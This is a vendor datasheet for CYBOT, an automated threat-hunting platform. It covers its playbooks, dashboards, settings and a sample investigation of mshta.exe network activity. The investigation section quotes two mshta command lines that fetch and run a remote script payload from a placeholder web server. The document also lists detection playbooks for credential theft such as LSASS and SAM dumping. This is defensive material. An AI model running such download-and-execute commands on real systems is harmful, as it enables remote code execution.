



Automated Investigation & Hunting Platform



Datasheet


**CYBOT™ Threat Hunting**



[www.active-bytes.com](http://www.active-bytes.com)

# About the CYBOT™

- CYBOT™ collects raw logs from the enterprise network, remote users, servers and stores them to its Analytical engine in a contextualized and secured way. The logs then undergo intelligent automatic analysis, thereby going the extra mile in threat hunting which, a human cannot.
- CYBOT™ is designed to be Adaptive to the latest adversary techniques and tactics by keeping in track with the Threat Intelligence events that it is programmed to receive from our trusted community sources and Activebytes Innovation's dedicated threat intelligence team.
- CYBOT™ intelligently and automatically hunts and investigates the threat leveraging Realtime Logs by performing correlation with TI IOCs received from even the dark sources, thereby detecting adversary attack patterns that a human can never pickup.
- Around the clock monitoring of logs and every unusual, suspected event is subjected to drill down the level of investigation and is designed to provide automated options to respond along with suggestions and alerts to the security team. This will help analysts to deal with the adversaries that already intruded on the network.



## Why CYBOT™ is Your Next Gen Threat Hunting Solution ?

### CYBOT™ - Automated Threat Hunting & Investigation

Raw data collected via sensors from servers, networks and endpoints of the enterprise environment are fed into the Analytical engine and then stored in a unified, contextualized and secured format. CYBOT™ is designed to be intelligent and adaptive. The platform is continuously updated with automated intelligent playbooks. The result from these automated hunts is displayed as dashboards and made available to be downloaded or as prints. The intelligent automation playbooks detect a threat, then execute end-to-end investigation, enrichment, and suggest incident response actions in case of an adversary intrusion. There are hundreds of playbooks, dashboards, and alerts use cases available in CYBOT™ and these use cases are beyond the capability of a human threat hunter.

# CYBOT™ Threat Hunting

In this era of advanced adversary techniques including non-human cyber attacks, an enterprise needs to point towards a threat hunting solution that is beyond manual capabilities. CYBOT™'s intelligent automated playbooks can automatically perform threat hunting and detect the advanced threat that hides in your enterprise environment, thereby helping your enterprise to enhance the IT security infrastructure with high efficiency, without compromising the IT processes. CYBOT™ has a large set of inbuilt automate threat hunting use cases and fast Incident response and alerts in case of suspicious activity detection. Our automation playbooks can quickly hunt and detect the malicious elements that stealthily lurk in your IT environment.




### CYBOT™ got your IT infrastructure covered

With rich feeds from various IOC sources, host and network sensors, TIP and datalake, makes the automated playbooks work with extra efficiency and speed than a human can perform.

Playbooks in CYBOT™ is scripted based on 3 approaches. CYBOT™ protects your infrastructure with multi-dimensional security.

- Hypothesis driven investigation
- Investigation based on known Indicators of compromise or Indicators of attack
- Advanced analytics and machine learning investigation

Attribute category distribution



### Immediately notifies on adversary through alert & suggestion

This critical feature helps the security team in preventing an attack or adversary from further escalation down the kill chain. Clicking the Respond button is always a quick fix.



### Detailed reports of investigation where a malicious attack technique was detected

#### Suggested Action

Suggest to block the Hash in EDR if the Threat level is High(Red) based on Threat score (in 2). Please ensure that blocking this Hash does not make any business impact. Below link will help you to block the Hash in EDR through SOAR playbook.

Respond

#### MITRE Based hunts

MITRE Based hunts			
Initial Access(13)	Execution(71)	Persistence(128)	Defense Evasion(375)
Discovery(31)	Command & Control(91)	Privilege Escalation(127)	Credential Access(42)
Lateral Movement(34)	Impact(14)		
Status MITRE Credential Access			
Credential Access	Completed	In Progress	Error
42	21	17	4
Show 10 entries			
Detection name	Technique name	Status	Count
Port Forwarding	Protocol Tunneling	In Progress	1
Potential DNS tunneling via misleap	Application Layer Protocol: DNS	In Progress	1

- ✓ **Playbooks are scripted with rules to do end-to-end investigation, enrichment and incident response in exceptionally faster ways.**

Every suspicious IOCs, patterns identified from hunts are subjected to analysis in real-time ,thereby saving time for analysts and covering huge data


Tactic Information	» Investigating the IP	» Investigating the Hash	» Investigating URL	» Investigation on Host and User
A hunt was performed to detect the technique mentioned	Detailed automated investigation by CYBOT about the suspicious IP observed	Detailed automated investigation by CYBOT about the suspicious Hash observed	Detailed automated investigation by CYBOT about the suspicious URL observed	Detailed automated investigation by CYBOT about the Host & User which executed the suspected activity

- ✓ **Investigates and suggests to respond via security solutions configured in the enterprise network such as AV, EDR, NDR, Vulnerability scanners, SIEM, etc.**

The scores will help analysts in deciding what type of response need to be taken for a particular incident.

- ✓ **Reports all the investigation steps like a human analyst does, which is understandable to technical and non-technical security resources.**

The categorized, detailed results and status of automated investigation benefits the enterprise security team as well as the management in decision making.






Detection name	Execution Status	Count
Malicious Domain Communications	In Progress	7
Malicious Domain Communications	Completed	4
Malicious Hash Communications	In Progress	7

- ✓ **Investigation exception on specific IOCs easily setup, making the hunt flexible to analysts' requirement.**

**Automation Exceptions** Create Exceptions Select Tenant Id

Show  entries Search:

Playbook Id	Playbook Name	Created By	Created At	Comment	Actions
MITRE-001	MSHTA Initiating network connections	admin	06/10/2021 11:30 AM	Test	  

# Smart and Faster than a Human

SIMPLIFIED INVESTIGATION VIEW FOR MANAGEMENT RESOURCES AND VERY DETAILED TECHNICAL INFORMATION FOR SECURITY EXPERTS

Human

Alien

## Some features include


- Automatically and intelligently hunts for cyber threats inside the organization's infrastructure, covering huge data from log sources.
- Automatically feed inputs from various sources such as TTP, IoC, TI, OSINT feeds, etc. thereby making it adaptive to the latest adversary elements.
- Investigate identified observables in internet-based reputations sources.
- Convenient for analysts
  - Score of the hunted threat and the respond button allow the analyst to decide responsive action.
- Clear description of hunting tactic used
  - MITRE
  - IOC Based Hunt
  - Advanced Analytics
- Chained investigation scenarios
- Allow the analyst to automate response actions suggested by the playbooks based on respective observables via a button.
- Has feedback mechanism for easy incident creation on the threat intelligence platform with IOCs of any newly identified threat.

- User-friendly dashboards & respond button, automation exception creation, automation scheduling, user management, backup & restore etc available in the platform, making it flexible according to enterprise environment
- Intelligent & automated threat-hunting framework that effectively protect critical infrastructures against suspicious activity, incidents and vulnerabilities



### Self avoiding repeated investigation for the same incident

Looks for possible repetition of similar observables and aggregates them to avoid false positives by itself, thereby reducing noise to analysts.




- ✓ Intelligent automation playbooks can hunt and investigate in case any unusual pattern is detected from logs.
- ✓ The automated workflow of investigation is very fast and hence quick suggestion and response time for analysts.

[To know details about the Workflow click here](#)

- ✓ In depth automatic hunt with minimum or no manual input, making multiple investigations at a time, which saves analysts' time to stop or neutralize the threat.

Distribution of MITRE Tactics being hunted



- ✓ Every detail of the playbooks hunt status is available to the analysts.

Advanced Analytics Based hunts



Threat Intelligence Based hunts



- ✓ Scheduling of investigation helps analysts to focus on the specific area of security concern and throw visibility on weaknesses and vulnerabilities in existing security systems.

Automation Scheduling

00:00

Time Schedule

Enable All

✓

Disable All

Select Tenant Id

▼

Search:

Playbook ID	Playbook Name	Playbook Type	Playbook status
MITRE-005 ⓘ	Certutil Encode	Mitre	ON
MITRE-006 ⓘ	Powershell initiating NW connections	Mitre	ON
MITRE-007 ⓘ	Install Util execution with suspicious commandlines	Mitre	ON

- About Hunt  
CYBOT hunted for the MITRE Tactic defined
- Tactic Information  
A hunt was performed to detect the technique mentioned
- Investigating the IP  
Detailed automated investigation by CYBOT about the suspicious IP observed
- Investigating the Hash  
Detailed automated investigation by CYBOT about the suspicious Hash observed
- Investigating URL  
Detailed automated investigation by CYBOT about the suspicious URL observed
- Investigation on Host and User  
Detailed automated investigation by CYBOT about the Host & User which executed the suspected activity
- Conclusion

## Other Features

- ✓ A list of options is available for the security team or administrator which is customizable as per your organization's requirements.
- ✓ A list of options is available for the security team or administrator which is customizable as per your organization's requirements.

### Some value-added customizable features

- User Management
- Backup & Restore
- Automation Exceptions
- Automation Scheduling
- Integrations
- Notifications
- SIEM Integration
- Configurations
- Tenants & License

#### SETTINGS

Tenants and License

User Management

Backup and restore

Automation Exceptions

Automation Scheduling

Integrations

Notifications

SIEM Integration

Configurations

The screenshot displays the 'SETTINGS' interface of the CYBOT system. It features four overlapping panels representing different configuration sections:

- Automation Exceptions:** Includes a 'Create Exceptions' button and a 'Select Tenant Id' dropdown. Below, it shows a table with columns for 'Playbook Id' and 'Time Schedule', listing entries like MITRE-001, MITRE-003, MITRE-008, and MITRE-008.
- Automation Scheduling:** Features a 'Select Tenant Id' dropdown and a 'Search' field. It includes tabs for 'On All' and 'Off All'.
- Backup and restore:** Contains a 'Frequency' tab with options for 'Hour' and 'Time', and a 'Restore' tab. A description states: 'This page shows the configuration related to backups and restore. Use the frequency tab to set up how often backups should be taken and their retention period. Use the restore tab to view the existing backups in the backup repository, and delete/restore existing backups in the repository.'
- Notifications:** Includes a 'Select Tenant Id' dropdown and a description: 'This page is for updating the settings of notification emails that are being sent. Please enter or update the email ID to which the notification emails are to be sent.' It contains fields for 'Threat hunting report Email', 'Threat intelligence individual Email', 'Threat intelligence weekly Email', and 'Threat intelligence monthly Email', each with a corresponding email address (test@test.com). There are also checkboxes for 'Threat intelligence weekly report', 'Threat intelligence individual report', 'Threat intelligence monthly report', and 'Threat hunting report'. An 'Update' button is at the bottom right.



## SAMPLE CYBOT™ INVESTIGATION SCENARIO



Platform hunts for an attack tactic, and collect observables if found any occurrences, cross-check the occurrences to recent hunts to reduce noise and false positives, finally present all the detection related information to analysts.

### 1. Tactic, Hunt Information and Observables

#### 1.1 MITRE Technique Information

A hunt was performed to detect the technique mentioned below.

Technique Name: Mshta | Technique ID: T1218.005 | Tactic: Defense Evasion

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code. Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.

Files may be executed by mshta.exe through an inline script

```
mshta vbscript:Close(Execute("GetObject(""script:https://webserver/payload[.]jst")"))
```

They may also be executed directly from URLs:

```
mshta http://webserver/payload[.]hta
```

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.

[Read More](#)

#### 1.2 Detected Observables

Source IP : 10.0.3.15  
User Name : Administrator  
Process Name : mshta.exe  
User Detection : MSHTA initiating network connections  
Destination IP : 66.7.195.241

Host Name : WIN-RT9R00FMBP2  
Process ID : 960  
Process Command:  
No commandline found  
Last detection : Feb 6, 2021, 7:42:28





As it is a trusted binary of Microsoft making network traffic, the platform further investigates the reputation of IP, score it. If there are any threat intelligence events, CYBOT™ gives the respective link for seamless access for analysts.

### 3.1 IP Investigating IP: 169.254.171.195

#### 3.1.1 IP Threat Score

Information of the observed process was collected from the datalake. The below panel shows the obtained data. This shows useful details like the process hash, commandline, signer etc.

Source IP:  
User Name : ASUS  
Process Name : WMIC.exe  
User Detection : Detects WMIC executing suspicious Commands



Platform looks for any other servers or user PCs that made traffic to the suspicious IP from entire organization logs.

#### 2.1.3 Traffic from other hosts to detected IP

Further investigation was performed to check if the IP was visited by other hosts in the network. The below panel shows the list of other hosts from which traffic was detected to the observed IP, along with the frequency of the traffic.

Host name  
BOB (Count: 2)





Platform then enables users to see previous hunt detections for the same IP as well as investigates further about the traffic to the same IP manually for threat analysts for further insights. Even suggest a response action as well, which calls a playbook of workflow what the organization desires to do in SOAR. Either simply block the IP or drop a mail to the network team for blocking the IP.

2.4 Previous detections of Hash

It is important to investigate the Hash's previous detections in our platform to understand whether there have been previous cases where the Hash was deemed malicious. The below panel shows the link to the summary of all the previous detections of this particular Hash in our platform.

Previous Detections

2.5 Drill down Hash in datalake

In order to get a wholistic view of the event, It can be useful to investigate other events that this Hash was a part of in the Datalake. The below panel shows link to view information regarding Hash directly in the datalake

Datalake view

2.6 Suggested Action

We suggest to block the Hash in EDR if the Threat level is High(Red) based on Threat score (Shown in 3.1). Please ensure that blocking this Hash does not make any business impact. The below link will help you to block the Hash in EDR through SOAR playbook.

Respond



The platform goes beyond human capabilities by looking into user account activity across the environment, to investigate possibilities of lateral movement in case of a compromise. Processes ran by the same account across the organization. Picking all uncommon process infrastructure wide ran by the user and checking the reputation of all those process hashes

5. Other relevant information

5.1 Recent Authentications in Host

An investigation was performed in the datalake to check for recent authentication activity in the observed Host. The below panel shows results of that investigation.

User name	Time Stamp	User Domain
SYSTEM	2021-02-06T16:13:56.415421Z	
	2021-02-06T16:13:56.41553282	
SYSTEM	2021-02-06T16:13:56.41777192	
SYSTEM	2021-02-06T16:14:10.28548622	
SYSTEM	2021-02-06T16:14:18.1102022	
	2021-02-06T16:14:18.11316612	
SYSTEM	2021-02-06T16:14:18.17746272	
	2021-02-06T16:14:18.17757172	
SYSTEM	2021-02-06T16:14:18.19061652	
	2021-02-06T16:14:18.1909452	

5.2 Hosts logged into by User

Further investigation was performed to check if the user logged into any other hosts. The below panel shows other hosts that were logged into by the detected User.

Host Name	Count
-----------	-------

5.3 Processes run by detected User

An investigation was also performed to determine the processes run by detected user. The below panel shows the list of all processes that were run by the detected User along with the number of times they were run.

Time	Process Name	Process Hash	Count
2021-12-29-17:16:06	mlhta.exe	5235c781c1664a5db4a49c743e72c0f	15
2021-12-29-17:16:06	taskhost.exe	0c1853d3339c2963c2be6ac18c1d811	15
2021-12-29-17:16:06	conhost.exe	d752c96401e2540a43c599154e6fa9	6
2021-12-29-17:16:06	rundll32.exe	c7645d43451c6d94d8794d07bdc59b9	6
2021-12-29-17:16:06	InstallAgent.exe	fb04124c2f26b8af36d31950b78222	4
2021-12-29-17:16:06	ieplcore.exe	0aac13cdcf3602ba08544f61d2641d	4
2021-12-29-17:16:06	powershell.exe	097ce5761d89434367598b34fc32893b	4
2021-12-29-17:16:06	LockAppHost.exe	63036ae43b673b6c57b999251c0f5e8a4	3
2021-12-29-17:16:06	DismHost.exe	418299f70c35752c048ed773c59002e	2
2021-12-29-17:16:06	LicensingUI.exe	f6591af9c78e065c96a736907780c5c9	2



#### 5.4 Uncommon Processes run by detected User

Continuing from the previous step, uncommon processes run by the User were also determined and they were investigated using VirusTotal. The below panel shows the list of the uncommon processes (i.e. processes that were run less frequently) run by the detected User along with the number of times they were run, and their respective VirusTotal scores.

Time	Process name	Process Reputation (VirusTotal)	Process Hash
2021-12-29-17:16:06	ipconfig.exe	0	29916dca5377c19996b417d9235f42f
2021-12-29-17:16:06	javaws.exe	0	48835192fc721d679965c3c0a5f55dcf
2021-12-29-17:16:06	jp2launcher.exe	0.0151515151515152	2f28f48880b6ba34d8d144f2996ad032
2021-12-29-17:16:06	mobsync.exe	0	99c4ec4ca3c1a91b3f2d3969bb41c5d8
2021-12-29-17:16:06	powershell.exe	0	097ce5761c8943436759bb34fc32893b
2021-12-29-17:16:06	LockAppHost.exe	0	63036ae43b673b6c57b999251cd5e8a4
2021-12-29-17:16:06	DismHost.exe	0	418299f70b35752cd48ed773c59002e
2021-12-29-17:16:06	LicensingUI.exe	0	fd991af9e78ed65c96a736507780c5e9
2021-12-29-17:16:06	conhost.exe	0	d752c96401e2540a443c99154fc6fa9
2021-12-29-17:16:06	rundll32.exe	0	c7645d43451c6d94d87f4a07bde59c89



Platform then summarizes the investigation outcomes for both technical and non-technical resources

#### Conclusion

CYBOT Hunted for the MITRE Tactic "MSHTA Making Network connection" which is a Defense evasion technique where attacker utilizes trusted Microsoft binary or software to call malicious script and executes it. On investigation it has occurred on Computer - WIN-RT9R00FMBP2 by User : Administrator on Feb 6, 2021, 7:42:28.

- While investigating the IP ( 66.7.195.241 ) called , CYBOT calculated a threat score of And recommends to block the IP in perimeter firewall if it is beyond acceptable range or organization's threat appetite.
- While investigating the Hash( No hash found ) called , CYBOT calculated a threat score of 0. And recommends to block the hash in EDR if it is beyond acceptable range or organization's threat appetite.
- While investigating the URL( No URL ) called , CYBOT calculated a threat score of . And recommends to block the IP in perimeter firewall if it is beyond acceptable range or organization's threat appetite.
- While investigating the User( Administrator ) who executed the activity , CYBOT identified the user account has been used in 0 other hosts during the incident. If the other host logged in by user seems suspicious, recommending to disable user account.

## LIST OF INTELLIGENT PLAYBOOKS CURRENTLY AVAILABLE IN THE PLATFORM

MITRE Based Hunts			
Sl. No.	Playbook name	Description	MITRE Technique ID
1	Mshta initiating Network Connections	This automation playbook investigates every attempted network connection by MSHA	T1218.005
2	Unload Sysmon Filter Driver with fltmc.exe	This automation playbook investigates every event where sysmon driver was attempted to be unloaded	T1562.001
3	Suspicious Bitsadmin Job via bitsadmin.exe	This automation playbook investigates every suspicious bitsadmin jobs	T1197
4	Conhost spawned by suspicious parent	This automation playbook investigates conhost spawned by suspicious parent	T1059
5	Office spawning powershell	This automation playbook investigates every time MS office applications spawn powershell	T1137
6	Certutil Encode	This automation playbook investigates every time certutil was used to encode strings or files	T1140
7	Powershell initiating NW connections	This automation playbook investigates every time powershell initiates network connections	T1546.013
8	Install Util execution with suspicious command lines	This automation playbook investigates every time installutil was run with suspicious commandline arguments	T1218.004
9	Suspicious Powershell parameter substring	This automation playbook investigates every time powershell commands where executed with suspicious parameters	T1059.001
10	Suspicious parent of csc.exe	This automation playbook investigates every time csc.exe was called by a suspicious parent process	T1027.004
11	Programs executing from suspicious location	This automation playbook investigates every time programs were executed inside suspicious locations	T1036.005
12	Suspicious Rundll32 Activity	This automation playbook investigates every time rundll32 was executed with suspicious parameters	T1218.001
13	Add Programs to firewall exclusions from Temp directory	This automation playbook investigates every time rundll32 was executed with suspicious parameters	T1204.002
14	Suspicious script executions	This automation playbook investigates every time suspicious scripts where executed	T1059.001
15	Webshell detection with command line keywords	This automation playbook investigates every time webshell scripts were attempted to be executed	T1505.003
16	Rundll initiating network connection	This automation playbook investigates every time rundll32 was initiating a network connection	T1218.011
17	Net.exe Execution	This automation playbook investigates every time net.exe was executed	T1569.002
18	Processes created by MMC	This automation playbook investigates every time mmc created a process	T1543
19	Mimikatz detections LSASS Access	This automation playbook investigates every time lsass was accessed using indicators specific to mimikatz	T1003.001
20	Detects WMI executing suspicious Commands	This automation playbook investigates every time wmi was executing suspicious commands	T1047
21	Microsoft binary Github communication	This automation playbook investigates every time github communication was attempted by Microsoft binaries	T1218
22	Microsoft Outlook Spawning Windows Shell	This automation playbook investigates every time outlook was detected to be spawning a windows shell	T1566

Sl. No.	Playbook name	Description	MITRE Technique ID
23	Suspicious Reconnaissance activity	This automation playbook investigates every time suspicious reconnaissance activity was detected	T1018
24	Windows task manager as parent	This automation playbook investigates every time task manager is detected as a parent process for suspicious child processes	T1134.004
25	Isass Access from NON System Account	This automation playbook investigates every time Isass was accessed using non system account	T1003.001
26	RDP or SSH from external IP's	This automation playbook investigates every time ssh was accessed from external network IP addresses	T1219
27	Tor traffic to Internet	This automation playbook investigates every time tor traffic was detected to internet	T1090.002
28	Powershell remote session	This automation playbook investigates every time powershell was detected to be remotely accessed	T1021
29	Adding the Hidden File Attribute with via attrib.exe	This automation playbook investigates every time hidden file attribute was added via attrib.exe	T1564
30	Execution of existing service via cmd	This automation playbook investigates every time services was executed by cmd	T1569.002
31	Volume shadow copy removals	This automation playbook investigates every time volume shadow copy was removed	T1490
32	HH.exe execution	This automation playbook investigates every time hh.exe was executed with suspicious parameters	T1218.001
33	Host artifact deletions	This automation playbook investigates host artifact deletions	T1070
34	Interactive AT jobs	This automation playbook investigates interactive AT jobs creations	T1053.002
35	LSA authentication packages	This automation playbook investigates LSA authentication packages editions in registry	T1003.004
36	LSASS memory dumping	This automation playbook investigates LSASS memory dumping techniques	T1003.001
37	Modification of boot configs	This automation playbook investigates boot configuration editions in registry	T1547.009
38	Modification of logon scripts from registry	This automation playbook investigates logon scripts editions in registry	T1037.001
39	Mounting hidden shares	This automation playbook investigates every time hidden shares were mounted	T1021.002
40	Persistence via Appinit dll	This automation playbook investigates attempted persistence via Appinit.dll	T1546.010
41	Persistence via netsh key	This automation playbook investigates attempted persistence via Netsh key in registry	T1547.009
42	Persistence via screensaver	This automation playbook investigates screensaver persistence via registry	T1546.002
43	Process discovery via builtin tools/windows tools	This automation playbook investigates process discovery using builtin tools	T1057
44	Processes Running with unusual Extensions	This automation playbook investigates process processes running with unusual extensions	T1036.006
45	Registration of winlogon helper dll	This automation playbook investigates winlogon helper dll registration	T1547.004
46	Registry persistence via Shell folders	This automation playbook investigates persistency via shell folders registry entry modification	T1547.001
47	Root Certificate install	This automation playbook investigates root certificate installations	T1553.004

Sl. No.	Playbook name	Description	MITRE Technique ID
48	SAM dumping via reg.exe	This automation playbook investigates SAM dumping via reg.exe	T1003.002
49	Service path modification via sc.exe	This automation playbook investigates SAM dumping via reg.exe	T1543.003
50	Service Stop or disable with sc.exe command	This automation playbook investigates services being stopped or disabled via sc.exe	T1543.003
51	Suspicious script object executions	This automation playbook investigates services being stopped or disabled via sc.exe	T1218.010
52	Possible windows network enumeration	This automation playbook investigates possible windows network enumeration techniques	T1018
53	AD dumping via ntdsutil.exe	This automation playbook investigates possible AD dumping via ntdsutil	T1003.003
54	UAC bypass via eventviewer	This automation playbook investigates possible UAC bypass via eventviewer	T1548.002
55	UAC bypass via sdclt	This automation playbook investigates possible UAC bypass via eventviewer	T1548.002
56	Registry Persistence via Explorer Run key	This automation playbook investigates persistence via explorer run key modifications in registry	T1547.001
57	Possible No powershell executions	This automation playbook investigates possible no powershell executions	T1546
58	Possible Hooking detections	This automation playbook investigates possible hooking	T1197
59	Renamed Powershell	This automation playbook investigates possible renamed powershell executions	T1059.001
60	Powershell/VBS script downloads from internet	This automation playbook investigates possible script downloads from internet	T1059
61	Possible port Forwarding detected	This automation playbook investigates possible port forwarding	T1572
62	Suspicious use of Public Folder	This automation playbook investigates suspicious usage of public folder	T1036.005
63	Systeminfo executions	This automation playbook investigates systeminfo executions	T1082
64	Suspicious WMIC XSL Script Execution	This automation playbook investigates suspicious wmic xsl script execution	T1220
65	Suspicious control DLL load	This automation playbook investigates suspicious control.exe loading dll	T1218
66	Connection to external Network via Telnet	This automation playbook investigates connection to external network via telnet	T1021
67	Discovery of Remote system's Time	This automation playbook investigates discovery of remote system's time	T1124
68	File And Directory Permissions Modification	This automation playbook investigates file and directory permissions modification	T1222
69	Direct RDP Enabling via psexec	This automation playbook investigates Direct RDP enabling via psexec	T1021.001
70	Detect cmdkey Malicious Activity	This automation playbook investigates malicious cmdkey activity	T1555
71	Potential DNS tunneling via nslookup-TA0011	This automation playbook investigates potential dns tunneling	T1071.004
72	Remote file copy mpcmdrun-T1105	This automation playbook investigates potential file copy via mpcmdrun	T1105

Sl. No.	Playbook name	Description	MITRE Technique ID
73	Remote file copy via Teamviewer-T1105	This automation playbook investigates potential file copy via teamviewer	T1105
74	NTDS or SAM Database File Copied-T1003	This automation playbook investigates potential copy of ntds or sam database file	T1003
75	Execution via Regsvcs/Regasm-TA002,T1121	This automation playbook investigates potential execution via regsvcs or regasm	T1218.009
76	adfind command activity	This automation playbook investigates potential adfind execution	T1069.002
77	Clearing windows event logs	This automation playbook investigates potential windows event log clearing attempts	T1070.001
78	Windows defender disabled via registry modification	This automation playbook investigates windows defender disabling via registry modifications	T1562

### Threat Intelligence Based Hunts

Sl. No.	Playbook name	Description
1	Malicious IP Communications	This automation playbook investigates malicious IP communications from Threat Intelligence
2	Malicious Domain Communications	This automation playbook investigates malicious domain communications
3	Malicious HASH identification	This automation playbook investigates malicious hashes executions

### Advanced Analytics Based Hunts

Sl. No.	Playbook name	Description
1	User login from unknown location-Bypassing baseline	This automation playbook investigates user logons from unusual locations
2	User login from unusual workstations	This automation playbook investigates user logons from unusual hosts
3	Unknown/New process executions	This automation playbook investigates unusual process executions
4	Unknown/New HTTP POST requests	This automation playbook investigates unusual HTTP post requests
5	Possible C&C beacons	This automation playbook investigates potential C&C beacons
6	Domain Lookup Anomalous increase-DNS	This automation playbook investigates anomalous DNS lookup increase
7	Least common parent child process Combinations	This automation playbook investigates anomalous parent-child process combinations



[www.active-bytes.com](http://www.active-bytes.com) / [contact@active-bytes.com](mailto:contact@active-bytes.com)

+971 50 513 3973

---